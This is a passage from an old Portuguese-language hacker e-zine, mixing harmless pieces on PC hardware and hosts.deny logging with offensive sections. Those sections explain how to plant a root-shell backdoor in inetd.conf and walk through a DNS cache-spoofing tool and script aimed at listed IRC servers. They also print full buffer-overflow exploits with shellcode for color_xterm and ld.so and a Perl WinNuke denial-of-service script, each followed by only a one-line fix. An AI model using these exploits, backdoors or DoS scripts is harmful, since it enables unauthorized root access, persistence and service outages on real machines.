Isso funcionara  de forma local, mas e' bom para ver e aprender oque fazer!
Bom, te' proxima edicao!

/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/

06# UM POUCO DE HARDWARE BASICO
===============================
By KByte.

Estamos aqui mais uma vez reunidos , e fugindo um pouco dos padroes da
zine venho falar um pouco sobre HardWare.

       O computador vem se aperfeicoando a decadas , a partir do ponto de
partida , o primeiro computador pessoal , o IBM PC , lancado em 1981.
Esta linha de computadores possuiam um processador INTEL 8088 de
velocidade 4.77 MHz.
       Apos o IBM PC , veio o PC XT , o primeiro com um disco rigido de
apenas 10 Mbytes.
       A INTEL considerada a melhor e maior fabricante de chips do mundo ,
produziu um processador mais rapido que o 8088 , o 80286 operando a 8
MHz.Apos o 80286 seguiram -se o 80386 e o 80486 , muito usados ainda
atualmente.
       A velocidade de um processador depende de quantidade de Bits
Internos e Externos , os quais vc encontra dos principais processadores:

***********************************************************************
MicroProcessador                    Bits Internos      Bits Externos
8088                                   16                  8
8086                                   16                  16
80286                                  16                  16
80386SX                                32                  16
80386DX                                32                  32
80486(Todos os tipos)                  32                  32
PENTIUM                                32                  64
************************************************************************

Memorias :

* ROM :
   Sao memorias apenas para leitura , onde se localiza a BIOS , programa
que ja vem do fabricante e faz uma deteccao dos perifericos usados na
maquina.

 * RAM :
   Usada para leitura e escrita.Armazena as instrucoes a serem executadas
pelo MicroProcessador

 * DRAM (Dinamic Ram) :
   E' a memoria usada em grande quantidade nos micros , por exemplo ,
quando vc diz que seu computador tem 8 mb de memoria , vc se refere a
memoria DRAM que eh lenta , mas barata e compacta .

 * SRAM (Static Ram) :
   Conhecida tambem como memoria cache. Essa memoria e' usada para
acelerar o desempenho da memoria DRAM.

-- Barramentos

   Barramento e' um conjunto de conexoes eletronicas usadas para fazer a
ligacao entre placas.A Placa Mae possue um conjunto de conectores chamados
SLOTS.Esses SLOTS formam o barramento que liga a placa de cpu com as
demais placas.

* Barramento EISA
    Opera com enderecamento de 8 bits
* Barramento ISA (Industry Standart Architecture)
    Opera com enderecamento de 16 bits
* Barramento VLB (Vesa Local Bus)
    Opera com enderecamento de 32 bits
* Barramento PCI
    Opera com enderecamento de 64 bits (Presente na placa PENTIUM)

Bem pessoal , por este zine e' so' .Espero escrever mais na proxima zine ,
qualquer sugestao , reclamacao , duvida sobre qualquer coisa , email us ,
ou entao me procure no irc server irc.st.com.br podendo me mandar um
memoserv.

Kbyte.

/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/

07# LINUX TRICKS
================
kbyte

Bem pessoal , essa eh minha segunda materia nessa zine , da qual eu
fui convidado a entrar por um grande amigo meu . O objetivo dessa materia
eh complementar um pouco a materia do Skynet na Rwx00 sobre seguranca no
seu linux.
    Eu particulamento uso RedHat linux na minha maquina , usando o
ttysnoopd , mas ainda nao me senti totalmente seguro e entao parti para
outros dois arquivos de seguranca muito usados : hosts.deny e hosts.allow
(Ambos se encontram no diretorio /etc/ da maioria dos *Nix)

Para o acesso a algum servico do Linux , a sequencia eh a seguinte :

  - Verifica-se se o Ip e o servico estao no hosts.allow , se estiverem
acesso garantido (Mesmo se o Ip e o servico estiverem no hosts.deny que
nao sao checados se encontrados no hosts.allow)

  - Verifica-se se o Ip e o servico estao no hosts.deny , se nao estiverem
acesso garantido

  - Se o ip nao estiver no hosts.allow mas tambem nao estiver no
hosts.deny , o acesso eh garantido.

* Hosts.deny - Contem os hosts que _NAO_ podem acessar a certos servicos
na sua maquina

Sintaxe :
servico:IP

Exemplo :
in.fingerd:200.00.00.00
   |         |
   |         O Ip da maquina que nao poderia acessar tal servico
   |- Servico , no caso o finger

Obs: Podemos usar alguns Wildcards como All ou Local

Ex:
in.fingerd:All   - Significa que nenhum IP podera acessar o servico em
questao.
All:All except local   - Significa que nenhum ip exceto ips locais
possam acessar o servico , no caso todos os servicos disponiveis.

* Hosts.allow  - Eh o arquivo aonde contem os servicos que certo ips podem
acessar .

Sintaxe: Parecida com o do hosts.deny so que essa linha garante acesso
Servico:Ip

Exemplo :
in.fingerd:200.1.1.1
  Garante acesso ao IP 200.1.1.1 ao servico finger

All:200.20.20.20
  Garante acesso a 200.20.20.20 a todos os servicos disponiveis

Obs: Eh importante ressaltar , que podemos colocar varias linhas em ambos
os arquivos , podendo entao anular ataques de certos ips.


* Truque
Bem , agora a parte mais esperada , o truquezinho que podemos fazer com o
hosts.deny .

No hosts.deny coloca-se :

All:All: twist /var/noaccess %h %d ; \
         /bin/echo -e "%h tentou acessar %d " >> /var/log/security.log ;

Essa linha fara o seguinte , todo ip que tentar acessar qualquer servico
de sua maquina , ira executar o programa noaccess e ira logar o IP do
maquina e o servico que tentou acessar no arquivo /var/log/security.log

Voce se quiser da acesso a alguma maquina apos a inclusao desta linha no
hosts.deny , coloque no hosts.allow , tipo :

in.telnetd:127.0.0.1
para dar acesso telnet ao loopback.

A baixo vai o programa noaccess.c
----------------------------------Cut Here---------------------------------
/*
NoAccess
Credits go to Piveti , a friend of mine
*/

#include <stdio.h>
int main(int argc, char *argv[]){
        int i;
 for(i=10; i >= 0; printf("%i ",i), fflush(stdout), sleep(1), i--);
         printf("Voce , %s ,nao foi autorizado a usar %s\n\n", argv[1],argv[2])
;
         printf("Voce esta nos meus logs!Nao volte mais !!!\n\n");
 }
--------------------------Cut Here-----------------------------------------
Compile esse noaccess com gcc -o noaccess noaccess e bote no dir /var e
pronto!:)

Se quiser checar os logs de quem quis acessar sua maquina , tente um cat
/var/log/security.log ou recomenda-se deixar um console rodando tail -f
/var/log/security.log .

Bom Divertimento.
KByte.

/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/

08# BACKDOOR'S {Perigo ConstAnte}
=================================
_KniGHT_(kdestroyer@usa.net)

  E ai galera, e a primeira vez que eu to escrevendo para zine de seguranca
 rwx, o DmS me convidou e eu aceitei, hhehehe.... nessa material vou falar
 um pouco sobre BacKd00r'S, como funcionam, como se defender delas e o que
 fazer p/ identificar o cara que ta usando as backd00r's no seu Sistema. Esp
 ero que ajude!!!.

 BaCKdoor's:

   Existem muitos tipos de Backd00r's, as mais utilizadas sao a de associacao
  de portas a um shell. tipo associar a porta 8888 a um shell tipo /bin/sh
  esse tipo de Backd00r e muito simples facil de fazer.. voce ja loga como
  root e nada fica logado, existem tambem as Backdoor que sao instaladas na
  porta 23(telnet) mais essas ja sao mais complexas, e alterado o codigo
  do telnet, e atribuido algumas linha onde libere o acesso completo p/ o
  cara que tenha a senha MASTER(assim que eu chamo :)). Pronto com isso
  da pra ter uma nocao basica de como funciona as BACKD00R's agora vou falar
  como instalar uma...

  OBS: Atencao essa explicacao de como instalar uma backdoor e so p/ voce
       saber detectar uma em seu sistema, se voce usa-la p/ seu beneficio
       em outro provedores e de sua inteira responsabilidade.


   O tipo de Backdoor que eu irei explicar e o primeiro caso, a de atribuir
  uma porta a um shell. O arquivo onde fica determinado o nome das portas do
  sistema, e tambem a funcao de cada umas e o /etc/inetd.conf, ele se parece
  com isso:

/etc/inetd.conf
---------------
#
# See "man 8 inetd" for more information.
#
# If you make changes to this file, either reboot your machine or send the
# inetd a HUP signal:
# Do a "ps x" as root and look up the pid of inetd. Then do a
# "kill -HUP <pid of inetd>".
# The inetd will re-read this file whenever it gets that signal.
#
# <service_name> <sock_type> <proto> <flags> <user> <server_path> <args>
#
# Echo, discard, daytime, and chargen are used primarily for testing.
#
echo    stream  tcp     nowait  root    internal
echo    dgram   udp     wait    root    internal
discard stream  tcp     nowait  root    internal
discard dgram   udp     wait    root    internal
daytime stream  tcp     nowait  root    internal
daytime dgram   udp     wait    root    internal
chargen stream  tcp     nowait  root    internal
chargen dgram   udp     wait    root    internal
#
# These are standard services.
#
ftp     stream  tcp     nowait  root    /usr/sbin/tcpd  /usr/sbin/wu.ftpd
telnet  stream  tcp     nowait  root    /usr/sbin/tcpd  /usr/sbin/in.telnetd

--------

Pegando o exemplo do telnet:

telnet  stream  tcp     nowait  root    /usr/sbin/tcpd  /usr/sbin/in.telnetd
|       |      |        |      |             |               |
|       |      |        |      |             |               |
|____ Nome da Porta     |_Espera a Connecao  |               |
        |      |               |             |               |
        |_ Tipo de Execucao    |_ Executa Como ROOT          |_Gerencia o Telne
t
               |                             |
               |_ Protocolo                  |_Encarregado de Logar
                                                 as Connecoes


A Backd00r seria igual a Iss0:

telnet  stream  tcp     nowait  root    /bin/sh  /bin/sh -i
|       |       |       |       |       |        |
|       |       |       |       |       |        |
|_____Nome da Porta     |_Espera a Connecao      |_ Executa o Shell
        |       |               |       |
        |_ Tipo de Execucao     |_ Executa Como ROOT
                |                       |
                |_ Protocolo            |_Nota-se que o cara tira o tcpd
                                          que e encarregado de logar tudo
                                          p/ que sua connecao nao seja
                                          percebida

-----

  Muito Simples Hein....
  Agora basta dar um killall -HUP inetd e da um telnet p/ o provedor com
 a backdoor na porta 23(telnet) ai SHAZAM....

 bash#
 :)
------

 C0m0 InDentiFIcaR As BacKd00r's

   Basta voce sempre verificar o arquivo /etc/inetd.conf e checar se nao
  tem nada estranho tipo as linhas a cima.. e sempre fique de olho se a
  certa porta esteja executando o /usr/sbin/tcpd que e default p/ todas
  se estiver sem desconfie..!!! ALGO ESTA ERRADO.

------

 C0m0 FaZeR p/ IndEnTIfICar o AuTh0r Da BAcKD00R

   Isso e muito simples, basta voce alterar o aquela linha da BACKDOOR p/

  telnet  stream  tcp     nowait  root    /usr/sbin/tcpd  /bin/sh2
    |       |      |        |      |            |            |
    |       |      |_ Tipo de Connecao          |            |
    |_ Nome da P0rTA        |      |            |_Encarregado de LOGAR
            |               |_Espera Connecao                |
            |_ Tipo de Execucao    |                         |_ Arquivos Texto
                                   |_ Executa como ROOT         Modificado por
                                                                p/ Avisar o car
a
                                                                que foi tudo
                                                                L00gado.
sh2.c------ cORte Aqui ----------

#include "stdio.h"

void main(void)
{
  printf("bash#");
  printf("\n");
  printf("\aEsta tuD0 L0GAD0.. espero que Esteja Usand0 uma C0nta Falsa\n");
  system("echo BACKD00R Send0 Assionada AGORA verifique os Messages >> /tmp/tem
p");
  system("mail root < /tmp/temp");
  system("rm /tmp/temp");
}

-------- C0rte Aqui ------------
_KniGHT_(kdestroyer@usa.net)

/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/

09# MAC webSTAR's e Quid Pro Quo
================================
auth 97

Como disse  na edicao passada, la vai bomba  sobre algo de mac, e  e' justo
sobre o  Webstar ou Quid! Quando  voce  instalar eles usando as  configura-
coes 'default', o log do servidor  vai ser locado  no 'tree  document' , ou
seja, qualquer individuo que acessa a internet, pode ver o log completo  do
server, apenas digitando no seu browser:

http://<server>/WebSTAR%20LOG

http://<server>/server%20logfile

Depois desse  pequeno  buraco neles,vc estara pensando, poxa, deve se ,mais
furado do que  qualquer outro, mas  nao.  Ele e' muito  mais seguro do  que
qualquer. Porque ? O Mac nao tem um 'command  shell',e tambem , na o aceita
conexoes remotas.

Solucao: Colocando os logs para outro diretorio.

/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/

10# DNS SPOOFING
================

Aqui temos uma importante participacao de um amigo nosso na zine , e quem
sabe continuara escrevendo pra essa zine.

Todas as informacoes abaixo devem ser inteligentemente usadas , pois nao
nos responsabilizamos por atos maleficos que voce venha a causar com esse
conhecimento

 *** Spoof (Bind cache - dns spoof)

Oi, bom, primeiramente, o que e' o spoof?
Spoof e' voce poder cachear o host que voce quiser no seu ip atual, dentro
de algum named(bind), sendo assim, apesar de naum ter nenhuma utilidade,
so'serve mesmo pra irc, mais ja que o pessoal gosta muito disso, vou
tentar dizer algumas coisas que sei sobre o assunto...
Mais tem um porem, por ser o mais conhecido por todos, vou explicar sobre
o famoso "jizz"... ;-)
Bom, vamos entender as opcoes dele para saber a sintaxe:

skater:~# jizz
jizz .01b -- dns spoofer (BIND cache vuln.)
by nimrood

usage:
jizz <beginhost> <fakenshost> <fakensip> <fakensdom> <spoofedip>
<spoofedhost>
    beginhost  :     requested to initiate false caching, ex:begin.ib6ub9.com
    fakenshost :     server name to answer false PTR's, ex: ns.ib6ub9.com
    fakensip   :     IP of server name to answer false PTR's, ex:205.160.29.19
    fakensdom  :     domain name false name server controls, ex:ib6ub9.com
    spoofedip  :     IP of machine you want to spoof from, ex:204.154.2.93
    spoofedhost:     name you want to spoof, ex: teak.0wns.j00

Vamos supor que voce tem root em server.nasa.gov , a maquina e'
nameserver...
Essa e' a cara do programa, ele pede 6 opcoes, sendo as seguintes:

->beginhost : e' usado para iniciar o cache em cima do host da maquina na
qual voce tem root.
Ex: begin.server.nasa.gov ou $RANDOM.server.nasa.gov

->fakenshost : e' onde comeca a criar o falso nameserver que vai responder
os PTR's pelo seu ip permitindo entao que voce grave PTR's com o host que
voce definir para o ip atual
Ex: ns.server.nasa.gov

->fakensip : IP do servidor para enviar os PTR's para gravar o host em seu
IP
Ex: 200.30.30.30 (e' o IP de server.nasa.gov)

->fakensdom : dominio do falso nameserver para controle dos pacotes, ou
seja, como voce estra criando outro nameserver em cima de
server.menthor.com.br, que seria ns.server.menthor.com.br, o dominio desse
falso nameserver seria a propria maquina.
Ex: server.nasa.gov

-> spoofedip : IP da maquina que voce quer spoofar, no caso, seu IP atual,
mais tem que ser IP e naum host.
Ex: 200.246.227.35


-> spoofedhost : nome para meu host, ou seja, meu novo host.
Ex: chemical.brothers.co.uk

Certo, depois de todas as opcoes dele explicadas, ja da pra ter uma ideia
de como usar
Nesse caso, voce tem que usar um outro arquivo para auxiliar o jizz,
esse se chama jizz.sh
Esse e' o Jizz.sh:

-- CUT HERE --
if [ $# != 6 ]; then echo 'Incorrect Usage.';./jizz;exit 0;fi
killall -9 jizz
killall -9 named
./jizz $1 $2 $3 $4 $5 $6&
sleep 5
while [ "$host" != "." ];do echo -n -e 'Name Server To Cache Fake Host
On:';
read host;
if [ "$host" = "." ]; then echo Killing myself and starting named back
up.;
killall -9 jizz ; /usr/sbin/named; exit 0;fi
echo -e "server $host\nset type=soa\n$1\nexit\n" |nslookup;done
-- CUT HERE --

O que ele faz? Essa e' uma das partes mais importantes da historia toda.
Bom, ele faz o seguinte, ele envia essa informacao do host/IP toda para
algum outro servidor, no caso mais famoso, algum irc server, mais tem um
pequeno problema, naum da pra cachear seu IP em todos os irc servers, nem
todos aceitam informacoes de outro nameserver, mais depois coloco uma
listinha de alguns irc servers que aceitam cache.
Nesse caso, com os exemplos que eu dei acima, pra voce spoofar por exemplo
em irc.bignet.com.br(Brasnet), a linha seria:

server:~# ./jizz.sh begin.server.nasa.gov ns.server.nasa.gov
200.30.30.30 server.nasa.gov 200.246.227.35 chemical.brothers.co.uk
jizz: no process killed
jizz .01b -- dns spoofer (BIND cache vuln.)
by nimrood

begin.server.nasa.gov.
begin.server.nasa.gov IN A
begin.server.nasa.gov IN A 127.0.0.1
ns.server.nasa.gov IN A 200.30.30.30
server.nasa.gov IN NS ns.server.nasa.gov
chemical.brothers.co.uk IN A 200.246.227.35
35.227.246.200.IN-ADDR.ARPA IN PTR chemical.brothers.co.uk
Name Server To Cache Fake Host On:irc.bignet.com.br

Entao, continuando com o spoof, seguinte, alem de ter root no nameserver,
toda vez que voce usar o jizz, ele vai killar o named, sendo assim, vai
parar por alguns minutos o named no nameserver, por isso nem todos duram
muito,a naum ser que o root seja "muito" lamer.

Agora, uma coisa muito importante, voce vai precisar de um "default
server" caso apos voce usar o jizz ele aparecer essa mensagem:
*** Default servers are not available

O que e' o default server? O default server seria qualquer outro
nameserver, nesse caso, eu sempre uso o da telesc, (telesc.com.br), voce
precisa apenas coloca-lo no resolv.conf da maquina.

Non-authoritative answer:
Name:    telesc.com.br
Address:  200.247.31.1

O /etc/resolv.conf da server.nasa.gov ficaria assim:
# comeca aqui
search server.nasa.gov nasa.gov
nameserver 200.30.30.30
nameserver 200.247.31.1
# termina aqui :-P

Agora vai uma listinha dos irc servers de algumas redes que aceitam cache:
brasnet:
irc.brnet.com.br
irc.bignet.com.br
irc.provale.com.br
irc.menthor.com.br
UFPa.bel.pa.Brasnet.org
irc.sonet.com.br
Cnet.jpa.pb.Brasnet.org
FT.mgu.sp.Brasnet.org

brasirc:
irc.sercomtel.com.br
irc.travelnet.com.br
irc.rio.com.br

efnet:
irc3.phoenix.net
irc.ionet.net
ircd.idt.net

xtranet:
febe.sc.br.xtranet.org
ibrati.am.br.xtranet.org

Acho que sobre o jizz e' so' isso mesmo, mais pensem bem, como eu disse,
toda vez que for usar o jizz ele da kill no named da maquina, entao, acho
melhor lerem um pouco sobre os backdoors para naum perderem a maquina
tao cedo... :-P
Qualquer duvida, naum exite em perguntar, mais sem flood nos meus pvt's
hein ;-)
     by icmp (skater@sti.com.br)

/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/

EXPLOITS
========

11# COLOR_XTERM
~~~~~~~~~~~~~~~
by DmS

Bom estou mandando aqui o exploit do color_xterm do Linux que saiu no mes de
agosto. E necessario q o arquivo /usr/X11/bin/color_xterm tenha atributo +s.
Para verificar ls -l color_xterm :)))
Soluao: chmod -s color_xterm

------------------------------CORTE AQUI-------------------------------
/* exploit for color_xterm, modified by zgv */
/* original coded by Ming Zhang for the Chinese Version Of xTerm */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
#define PATH_COLOR_XTERM "/usr/X11/bin/color_xterm" /* Default Path If Make Ins
tall Was Used */
#define NOP_SIZE 1

char nop[] = "\x90";

/* Shell Code For That Ass */
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

/* Lets d0 d1s */
void main(int argc,char **argv)
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   int i,OffSet = DEFAULT_OFFSET;

   if (argc>1) OffSet = atoi(argv[1]);

   buff = malloc(2048);
   if(!buff)
   {
      printf("err0r err0r err0r err0r you g0t gn0 sk1lls er memory\n");
      exit(0);
   }
   ptr = buff;

   for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE) {
        memcpy (ptr,nop,NOP_SIZE);
        ptr+=NOP_SIZE;
   }

   for(i=0;i < strlen(shellcode);i++)
      *(ptr++) = shellcode[i];

   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_sp() + OffSet;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   (void) fprintf(stderr,"bewm bash#\n");

    execl(PATH_COLOR_XTERM, "color_xterm_owns_me", "-xrm",buff, NULL);
}

/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/

12# LD_SO{1.9.2} <= R00t
================
by _KniGHT_

Exploit:
-------------------------Corte Aqui-----------------------------
/*
 * buffer overflow exploit for ld-linux.so.1.9.2
 * by Dan McGuirk <mcguirk@indirect.com>
 * based on Aleph One's "smashing the stack" code
 */

#include <stdlib.h>

#define DEFAULT_OFFSET                 3300
#define DEFAULT_BUFFER_SIZE            1013
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff_bin_sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  printf("sp is 0x%x\n", get_sp());
  addr = get_sp() - offset;  /* a valid addr is addr = 0xbfffeba8; here */
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff, "EGG=", 4);
  putenv(buff);
  system("ln -sf /bin/sh _bin_sh");
  system("ln -sf /bin/su aa");
  system("/bin/sh -c 'export LD_PRELOAD=$EGG; export PATH=$PATH:.; aa'");
  system("rm -f _bin_sh");
  system("rm -f aa");
}
-------------------------Corte Aqui-----------------------------
Solucao:
        Basta digitar um chmod -s /lib/ld.so  :) solucao rapida..

/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/

13# DENIAL OF SERVICE - NT
~~~~~~~~~~~~~~~~~~~~~~~~~~
auth 97

CONSUMINDO 100% DO CPU TIME - RPC (NT)

Telneteie para a porta 135 , e  escreva alguns milhares de  caracteres, dai
disconecte. Isso causara,que o process rpcss.exe  comece  a consumir  muita
coisa.

Solucao:

ftp://ftp.microsoft.com

/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP2/RPC-fix/

-------------------------------------------------------------------[auth]-

CONSUMINDO 100% DO CPU TIME (2) (NT)

Telnetei para a porta 6558 e escreva 1 letra, e aperte enter. (hehe)

-------------------------------------------------------------------[auth]-

CONSUMINDO 100% DO CPU TIME (3) (NT)

Telnetei para a porta 53 e escreva alguns caracteres, e dai disconecte.

-------------------------------------------------------------------[auth]-

MANDANDO OOB (O tradicional WinNuke)

Voce pode 'detonar', qualquer servico de win95, win3.11, e winNT, todos
rodando Netbios, mandando OOB (Out of Band) data, a porta da netbios e'
a 139.

A maquina NT tentara bootar a maquina, mais isso ocupara muita memoria,
travando o sistema, tendo que reiniciar a maquina.

Muitos usam o 'winnuke', para travar os computadores de muitos caras ai,
ou seja, eu nao iria colocar um .c enorme aqui, so' para eles brincarem,
dai, deu a ideia de colocar uma versao feita em PERL. :))

--- -- - <CORTE AQUI>

#!/usr/bin/perl
# Auth 97

use strict; use Socket;
my($h,$p,$in_addr,$proto,$addr);

$h = "$ARGV[0]"; $p = 139 if (!$ARGV[1]);
if (!$h) { print "Host NT/95 Ex: www.microsoft.com\n"; }

$in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
socket(S, AF_INET, SOCK_STREAM, $proto) or die $!;

connect(S,$addr) or die $!; select S; $| = 1; select STDOUT;

print "Nuking: $h:$p\n"; send S,"MORRA",MSG_OOB; print "MORTO!\n"; close S;

/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/

14# EMAILS
~~~~~~~~~~

Bom, sem muitos ainda! :))) essa secao foi criada para recebermos
perguntas relacioadas ao zine, e fora disso! :), por isso, pra galera que
mandou os emails parabelizando, a maioria deles ja foi respondida, com
um simples, 'obrigado'. :))

/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/

15# FUTURO
~~~~~~~~~~

Bain, ainda sem page... eheh, espero que todos mandem mails de novo! :))

/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/

16# FINALIZACOES
~~~~~~~~~~~~~~~~

Pedido de desespero: MANDEM EMAILS! e que algum admin sagrado nos ajude! :)
Cya, ate a proxima!

/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/
.oO <End> Oo.

